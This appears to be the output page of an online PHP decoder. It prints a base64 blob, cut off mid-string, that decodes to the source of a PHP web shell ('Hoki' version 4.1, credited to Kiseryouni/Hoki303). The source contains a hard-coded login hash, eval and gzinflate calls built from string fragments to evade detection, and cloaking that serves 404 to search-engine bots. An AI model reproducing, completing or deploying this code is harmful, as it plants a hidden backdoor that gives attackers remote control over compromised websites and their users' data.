Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
LyoKCUF1dGhvcjogCUtpc2VyeW91bmkvSG9raTMwMwoJVGVsZWdyYW06IAlodHRwczovL3QubWUva2lzZXJ5b3VuaQ..
Decoded Output download
<? LyoKCUF1dGhvcjogCUtpc2VyeW91bmkvSG9raTMwMwoJVGVsZWdyYW06IAlodHRwczovL3QubWUva2lzZXJ5b3VuaQoJR21haWw6CQlraXNlcnlvdW5pQGdtYWlsLmNvbQoJRGF0ZToJCU1vbmRheSwgSnVuZSAwM
ywgMjAyNAoqLwokR0xPQkFMU1snb1pnTnlwb1BSVSddID0gYXJyYXkoCiAgICAndXNlcm5hbWUnID0+ICcweE5peCcsCiAgICAncGFzc3dvcmQnID0+ICdlZWRkNGViNTRiMTIyOGI2MWU1NzVkMjAwNGMyMjQ2MycsLy9tZDUoZGVmYXVsdCA6IGhl
a2VybWFrbG8pCiAgICAnc2FmZV9tb2RlJyA9PiAnMScsCiAgICAnbG9naW5fcGFnZScgPT4gJzUwMCcsCiAgICAnc2hvd19pY29ucycgPT4gJzEnLAogICAgJ3Bvc3RfZW5jcnlwdGlvbicgPT4gdHJ1ZSwKICAgICdjZ2lfYXBpJyA9PiB0cnVlLAo
pOwoKJENXcHBVREp4dWYgPSAnZnUnIC4gJ24nIC4gJ2N0JyAuICdpb25fJyAuICdlJyAuICd4aXN0JyAuICdzJzsKJGF6dEp0YWZVWG0gPSAnY2hhJyAuICdyJyAuICdDJyAuICdvJyAuICdkJyAuICdlJyAuICdBJyAuICd0JyAuICcnOwokT1ZwR0
5xcUZacyA9ICdlJyAuICd2JyAuICdhbCc7CiRwc0RFd0doc3hnID0gJ2d6JyAuICdpbmYnIC4gJ2xhdGUnOwoKaWYgKCEkQ1dwcFVESnh1ZignYicgLiAnYScgLiAnc2U2NCcgLiAnX2VuJyAuICdjJyAuICdvZGUnIC4gJycpKQp7CiAgICBmdW5jd
GlvbiB2Y252U0NaZ0J6KCRkYXRhKQogICAgewogICAgICAgIGlmIChlbXB0eSgkZGF0YSkpIHJldHVybjsKICAgICAgICAkYjY0ID0gJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5
Ky89JzsKICAgICAgICAkbzEgPSAkbzIgPSAkbzMgPSAkaDEgPSAkaDIgPSAkaDMgPSAkaDQgPSAkYml0cyA9ICRpID0gMDsKICAgICAgICAkYWMgPSAwOwogICAgICAgICRlbmMgPSAnJzsKICAgICAgICAkdG1wX2FyciA9IGFycmF5KCk7CiAgICA
gICAgaWYgKCEkZGF0YSkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiAkZGF0YTsKICAgICAgICB9CiAgICAgICAgZG8KICAgICAgICB7CiAgICAgICAgICAgICRvMSA9ICRhenRKdGFmVVhtKCRkYXRhLCAkaSsrKTsKICAgICAgICAgICAgJG
8yID0gJGF6dEp0YWZVWG0oJGRhdGEsICRpKyspOwogICAgICAgICAgICAkbzMgPSAkYXp0SnRhZlVYbSgkZGF0YSwgJGkrKyk7CiAgICAgICAgICAgICRiaXRzID0gJG8xIDw8IDE2IHwgJG8yIDw8IDggfCAkbzM7CiAgICAgICAgICAgICRoMSA9I
CRiaXRzID4+IDE4ICYgMHgzZjsKICAgICAgICAgICAgJGgyID0gJGJpdHMgPj4gMTIgJiAweDNmOwogICAgICAgICAgICAkaDMgPSAkYml0cyA+PiA2ICYgMHgzZjsKICAgICAgICAgICAgJGg0ID0gJGJpdHMgJiAweDNmOwogICAgICAgICAgICAk
dG1wX2FyclskYWMrK10gPSBjaGFyQXQoJGI2NCwgJGgxKSAuIGNoYXJBdCgkYjY0LCAkaDIpIC4gY2hhckF0KCRiNjQsICRoMykgLiBjaGFyQXQoJGI2NCwgJGg0KTsKICAgICAgICB9CiAgICAgICAgd2hpbGUgKCRpIDwgc3RybGVuKCRkYXRhKSk
7CiAgICAgICAgJGVuYyA9IGltcGxvZGUoJHRtcF9hcnIsICcnKTsKICAgICAgICAkciA9IChzdHJsZW4oJGRhdGEpICUgMyk7CiAgICAgICAgcmV0dXJuICgkciA/IHN1YnN0cigkZW5jLCAwLCAoJHIgLSAzKSkgOiAkZW5jKSAuIHN1YnN0cignPT
09JywgKCRyIHx8IDMpKTsKICAgIH0KICAgIGZ1bmN0aW9uIGNoYXJDb2RlQXQoJGRhdGEsICRjaGFyKQogICAgewogICAgICAgIHJldHVybiBvcmQoc3Vic3RyKCRkYXRhLCAkY2hhciwgMSkpOwogICAgfQogICAgZnVuY3Rpb24gY2hhckF0KCRkY
XRhLCAkY2hhcikKICAgIHsKICAgICAgICByZXR1cm4gc3Vic3RyKCRkYXRhLCAkY2hhciwgMSk7CiAgICB9Cn0KZWxzZQp7CiAgICBmdW5jdGlvbiB2Y252U0NaZ0J6KCRzKQogICAgewogICAgICAgICRiID0gJ2InIC4gJ2EnIC4gJ3NlNjQnIC4g
J19lbicgLiAnYycgLiAnb2RlJyAuICcnOwogICAgICAgIHJldHVybiAkYigkcyk7CiAgICB9Cn0KaWYgKCEkQ1dwcFVESnh1ZignYicgLiAnYScgLiAnc2UnIC4gJzYnIC4gJzQnIC4gJ19kJyAuICdlY29kJyAuICdlJyAuICcnKSkKewogICAgZnV
uY3Rpb24gelJ0U0hzYlR6VigkaW5wdXQpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRpbnB1dCkpIHJldHVybjsKICAgICAgICAka2V5U3RyID0gIkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMT
IzNDU2Nzg5Ky89IjsKICAgICAgICAkY2hyMSA9ICRjaHIyID0gJGNocjMgPSAiIjsKICAgICAgICAkZW5jMSA9ICRlbmMyID0gJGVuYzMgPSAkZW5jNCA9ICIiOwogICAgICAgICRpID0gMDsKICAgICAgICAkb3V0cHV0ID0gIiI7CiAgICAgICAgJ
GlucHV0ID0gcHJlZ19yZXBsYWNlKCJbXkEtWmEtejAtOVwrXC9cPV0iLCAiIiwgJGlucHV0KTsKICAgICAgICBkbwogICAgICAgIHsKICAgICAgICAgICAgJGVuYzEgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOwog
ICAgICAgICAgICAkZW5jMiA9IHN0cnBvcygka2V5U3RyLCBzdWJzdHIoJGlucHV0LCAkaSsrLCAxKSk7CiAgICAgICAgICAgICRlbmMzID0gc3RycG9zKCRrZXlTdHIsIHN1YnN0cigkaW5wdXQsICRpKyssIDEpKTsKICAgICAgICAgICAgJGVuYzQ
gPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOwogICAgICAgICAgICAkY2hyMSA9ICgkZW5jMSA8PCAyKSB8ICgkZW5jMiA+PiA0KTsKICAgICAgICAgICAgJGNocjIgPSAoKCRlbmMyICYgMTUpIDw8IDQpIHwgKCRlbm
MzID4+IDIpOwogICAgICAgICAgICAkY2hyMyA9ICgoJGVuYzMgJiAzKSA8PCA2KSB8ICRlbmM0OwogICAgICAgICAgICAkb3V0cHV0ID0gJG91dHB1dCAuIGNocigoaW50KSRjaHIxKTsKICAgICAgICAgICAgaWYgKCRlbmMzICE9IDY0KQogICAgI
CAgICAgICB7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gJG91dHB1dCAuIGNocigoaW50KSRjaHIyKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGVuYzQgIT0gNjQpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRvdXRw
dXQgPSAkb3V0cHV0IC4gY2hyKChpbnQpJGNocjMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRjaHIxID0gJGNocjIgPSAkY2hyMyA9ICIiOwogICAgICAgICAgICAkZW5jMSA9ICRlbmMyID0gJGVuYzMgPSAkZW5jNCA9ICIiOwogICAgICA
gIH0KICAgICAgICB3aGlsZSAoJGkgPCBzdHJsZW4oJGlucHV0KSk7CiAgICAgICAgcmV0dXJuICRvdXRwdXQ7CiAgICB9Cn0KZWxzZQp7CiAgICBmdW5jdGlvbiB6UnRTSHNiVHpWKCRzKQogICAgewogICAgICAgICRiID0gJ2InIC4gJ2EnIC4gJ3
NlJyAuICc2JyAuICc0JyAuICdfZCcgLiAnZWNvZCcgLiAnZScgLiAnJzsKICAgICAgICByZXR1cm4gJGIoJHMpOwogICAgfQp9CgpmdW5jdGlvbiBfX1pXNWpiMlJsY2coJHMpCnsKICAgIHJldHVybiB2Y252U0NaZ0J6KCRzKTsKfQpmdW5jdGlvb
iBfX1pHVmpiMlJsY2coJHMpCnsKICAgIHJldHVybiB6UnRTSHNiVHpWKCRzKTsKfQoKJEdMT0JBTFNbJ0RCX05BTUUnXSA9ICRHTE9CQUxTWydvWmdOeXBvUFJVJ107Cgpmb3JlYWNoICgkR0xPQkFMU1snREJfTkFNRSddIGFzICRrZXkgPT4gJHZh
bHVlKQp7CgkkcHJlZml4ID0gc3Vic3RyKCRrZXksIDAsIDIpOwoJaWYgKCRwcmVmaXggPT0gInVzIikKCXsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJ1c2VyIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsidXNlcl9yYW5kIl0gPSA
ka2V5OwoJfQoJZWxzZWlmICgkcHJlZml4ID09ICJwYSIpCgl7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsicGFzcyJdID0gJHZhbHVlOwoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInBhc3NfcmFuZCJdID0gJGtleTsKCX0KCWVsc2VpZiAoJHByZWZpeC
A9PSAic2EiKQoJewoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInNhZmVtb2RlIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsic2FmZW1vZGVfcmFuZCJdID0gJGtleTsKCX0KCWVsc2VpZiAoJHByZWZpeCA9PSAibG8iKQoJewoJCSRHT
E9CQUxTWydEQl9OQU1FJ11bImxvZ2luX3BhZ2UiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJsb2dpbl9wYWdlX3JhbmQiXSA9ICRrZXk7Cgl9CgllbHNlaWYgKCRwcmVmaXggPT0gInNoIikKCXsKCQkkR0xPQkFMU1snREJfTkFN
RSddWyJzaG93X2ljb25zIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsic2hvd19pY29uc19yYW5kIl0gPSAka2V5OwoJfQoJZWxzZWlmICgkcHJlZml4ID09ICJwbyIpCgl7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsicG9zdF9lbmN
yeXB0aW9uIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsicG9zdF9lbmNyeXB0aW9uX3JhbmQiXSA9ICRrZXk7Cgl9CgllbHNlaWYgKCRwcmVmaXggPT0gImNnIikKCXsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJjZ2lfYXBpIl0gPS
AkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsiY2dpX2FwaV9yYW5kIl0gPSAka2V5OwoJfQp9Cgp1bnNldCgkR0xPQkFMU1snb1pnTnlwb1BSVSddKTsKCmlmICghaXNzZXQoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKSkgZXhpdCgpOwoKaWYoI
WVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpeyR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsIlNsdXJwIiwiTVNOQm90IiwiaWFfYXJjaGl2ZXIiLCJZYW5kZXgiLCJSYW1ibGVyIiwiYm90Iiwic3BpZGVyIik7aWYocHJlZ19t
YXRjaCgnLycuaW1wbG9kZSgnfCcsJHVzZXJBZ2VudHMpLicvaScsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7aGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7ZXhpdDt9fQppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVs
ndXNlciddKSlleGl0KCckR0xPQkFMU1tcJ0RCX05BTUVcJ11bXCd1c2VyXCddJyk7CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydwYXNzJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3Bhc3NcJ10nKTsKaWYoIWlzc2V0KC
RHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3NhZmVtb2RlXCddJyk7CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydsb2dpbl9wYWdlJ10pKWV4aXQoJyRHTE9CQUxTW1wnR
EJfTkFNRVwnXVtcJ2xvZ2luX3BhZ2VcJ10nKTsKaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnc2hvd19pY29uc1wnXScpOwppZighaXNzZXQoJEdMT0JBTFNb
J0RCX05BTUUnXVsncG9zdF9lbmNyeXB0aW9uJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3Bvc3RfZW5jcnlwdGlvblwnXScpOwpkZWZpbmUoIl9fSE9LSV9WRVJTSU9OX18iLCAiNC4xIik7CmRlZmluZSgiX19IT0tJX1VQREFURV9
fIiwgIjIiKTsKZGVmaW5lKCJfX0hPS0lfQ09ERV9OQU1FX18iLCAiS2lzZXJ5b3VuaSIpOwpkZWZpbmUoIl9fSE9LSV9EQVRBX0ZPTERFUl9fIiwgIkhPS0lfREFUQSIpOwpkZWZpbmUoIl9fSE9LSV9QT1NUX0VOQ1JZUFRJT05fXyIsIChpc3NldC
gkR0xPQkFMU1siREJfTkFNRSJdWyJwb3N0X2VuY3J5cHRpb24iXSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbiJdPT10cnVlP3RydWU6ZmFsc2UpKTsKZGVmaW5lKCJfX0hPS0lfU0VDUkVUX0tFWV9fIiwgX19IT0tJX1BPU
1RfRU5DUllQVElPTl9fP19Ib2tpU2VjcmV0S2V5KCk6JycpOwokR0xPQkFMU1snX19IT0tJX0NPTE9SX18nXSA9IGFycmF5KAoJCSJzaGVsbF9ib3JkZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsCgkJCSJtdWx0aV9z
ZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmhlYWRlciIgPT4gImJvcmRlcjogN3B4IHNvbGlkIHtjb2xvcn0iLAoJCQkJIiNtZXVubGlzdCIgPT4gImJvcmRlci1jb2xvcjoge2NvbG9yfSIsCgkJCQkiI2hpZGRlbl9zaCIgPT4gImJhY2tncm91bmQ
tY29sb3I6IHtjb2xvcn0iLAoJCQkJIi5hamF4YXJlYSIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn0iLAoJCQkJIi5mb290IiA9PiAiYm9yZGVyLWNvbG9yOiB7Y29sb3J9IiwKCQkJKQoJCSksCgkJImhlYWRlcl92YXJzIiA9PiAiIzI3OT
c5QiIsCgkJImhlYWRlcl92YWx1ZXMiID0+ICIjNjdBQkRGIiwKCQkiaGVhZGVyX29uIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9vZmYiID0+ICIjZmYwMDAwIiwKCQkiaGVhZGVyX25vbmUiID0+ICIjMDBGRjAwIiwKCQkiaG9tZV9zaGVsbCIgP
T4gIiNmZjAwMDAiLAoJCSJob21lX3NoZWxsOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5ob21lX3NoZWxsOmhvdmVyIiA9PiAiY29sb3I6IHtj
b2xvcn07IiwKCQkJKQoJCSksCgkJImJhY2tfc2hlbGwiID0+ICIjZWZiZTczIiwKCQkiYmFja19zaGVsbDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQk
JCSIuYmFja19zaGVsbDpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJoZWFkZXJfcHdkIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9wd2Q6aG92ZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRi
IsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmhlYWRlcl9wd2Q6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaGVhZGVyX2RyaXZlIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9kcml2ZTpob3Zlc
iIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaGVhZGVyX2RyaXZlOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImhlYWRlcl9z
aG93X2FsbCIgPT4gIiMwMEZGMDAiLAoJCSJkaXNhYmxlX2Z1bmN0aW9ucyIgPT4gIiNmZjAwMDAiLAoJCSJmb290ZXJfdGV4dCIgPT4gIiMyNzk3OUIiLAoJCSJtZW51X29wdGlvbnMiID0+ICIjMjc5NzlCIiwKCQkibWVudV9vcHRpb25zOmhvdmV
yIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tZW51X29wdGlvbnM6aG92ZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0Oi
B1bnNldDsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMEZGMDAiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5oZWFkZ
XIgY2VudGVyIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0OmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJ
Ii5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5oZWFkZXIgY2VudGVyIGE6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0X2hlYWRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNTljYzM
zIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIudHh0Zm9udF9oZWFkZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0X3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiI0
ZGRkZGRiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLnR4dGZvbnQsLnRibHR4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJIb2tpKyIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDZmZjBmI
iwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaG9raV9wbHVzIiA9PiAiY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsCgkJCSkKCQkpLAoJCSJoaWRkZW5fc2hlbGxfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlf
Y29sb3IiID0+ICIjMDBGRjAwIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIjaGlkZGVuX3NoIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaGlkZGVuX3NoZWxsX3ZlcnNpb24iID0+ICIjZmYwMDAwIiw
KCQkic2hlbGxfbmFtZSIgPT4gIiNGRjAwMDAiLAoJCSJtYWluX3Jvdzpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWFpbiB0cjpob3ZlciIgPT
4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1haW5faGVhZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tYWluIHRoI
iA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1haW5fbmFtZSIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWFpbiAubWFpbl9uYW1lIiA9
PiAiY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsCgkJCSkKCQkpLAoJCSJtYWluX3NpemUiID0+ICIjNjdBQkRGIiwKCQkibWFpbl9tb2RpZnkiID0+ICIjNjdBQkRGIiwKCQkibWFpbl9vd25lcl9ncm91cCIgPT4gIiM2N0FCREY
iLAoJCSJtYWluX2dyZWVuX3Blcm0iID0+ICIjMjVmZjAwIiwKCQkibWFpbl9yZWRfcGVybSIgPT4gIiNGRjAwMDAiLAoJCSJtYWluX3doaXRlX3Blcm0iID0+ICIjRkZGRkZGIiwKCQkiYmVldHdlZW5fcGVybXMiID0+ICIjRkZGRkZGIiwKCQkibW
Fpbl9hY3Rpb25zIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tYWluIC5hY3Rpb25zIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1lb
nVfb3B0aW9uczpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWVudV9vcHRpb25zOmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9y
fTtmb250LXdlaWdodDogdW5zZXQ7IiwKCQkJKQoJCSksCgkJIm1pbmltaXplX2VkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwZTMwNGEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5
taW5pbWl6ZWQtd3JhcHBlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1pbmltaXplX2VkaXRvcl90ZXh0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNmNWRlYjMiLAoJCQkibXVsdGlfc2VsZW
N0b3IiID0+IGFycmF5KAoJCQkJIi5taW5pbWl6ZWQtdGV4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfYm9yZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwZTMwNGEiLAoJCQkibXVsdGlfc2VsZ
WN0b3IiID0+IGFycmF5KAoJCQkJIi5lZGl0b3ItZXhwbG9yZXIsLmVkaXRvci1tb2RhbCIgPT4gImJvcmRlcjogMnB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImVkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xv
ciIgPT4gInJnYmEoMCwgMSwgMjMsIDAuOTQpIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yLWV4cGxvcmVyLC5lZGl0b3ItbW9kYWwiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAo
JCSJlZGl0b3JfaGVhZGVyX2JhY2tncm91bmQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAicmdiYSgyMSwgNjYsIDg4LCAwLjkzKSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmVkaXRvci1oZWFkZXIiID0+ICJiYW
NrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGVhZGVyX3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzAwZmY3ZiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmVkaXRvc
i1wYXRoIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImVkaXRvcl9oZWFkZXJfYnV0dG9uIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMxZDU2NzMiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5j
bG9zZS1idXR0b24sIC5lZGl0b3ItbWluaW1pemUiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfYWN0aW9ucyIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHR
pX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yX2FjdGlvbnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2ZpbGVfaW5mb192YXJzIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLA
oJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5lZGl0b3JfZmlsZV9pbmZvX3ZhcnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2ZpbGVfaW5mb192YWx1ZXMiID0+IGFycmF5KAoJCQkia2V5X2Nvb
G9yIiA9PiAiIzY3QUJERiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmZpbGVzdG9vbHMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2hpc3RvcnlfaGVhZGVyIiA9PiBhcnJheSgKCQkJImtl
eV9jb2xvciIgPT4gIiMxNGZmMDciLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5oaGVhZGVyLXRleHQsLmhpc3RvcnktY2xlYXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2hpc3RvcnlfbGl
zdCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDNiM2EzIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yLWZpbGUtbmFtZSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaG
lzdG9yeV9zZWxlY3RlZF9maWxlIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gInJnYmEoNDksIDU1LCA5MywgMC43NykiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pc19hY3RpdmUiID0+ICJiYWNrZ3JvdW5kLWNvb
G9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGlzdG9yeV9maWxlOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5maWxlLWhvbGRl
ciA+IC5oaXN0b3J5OmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaW5wdXRfYm94X2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9
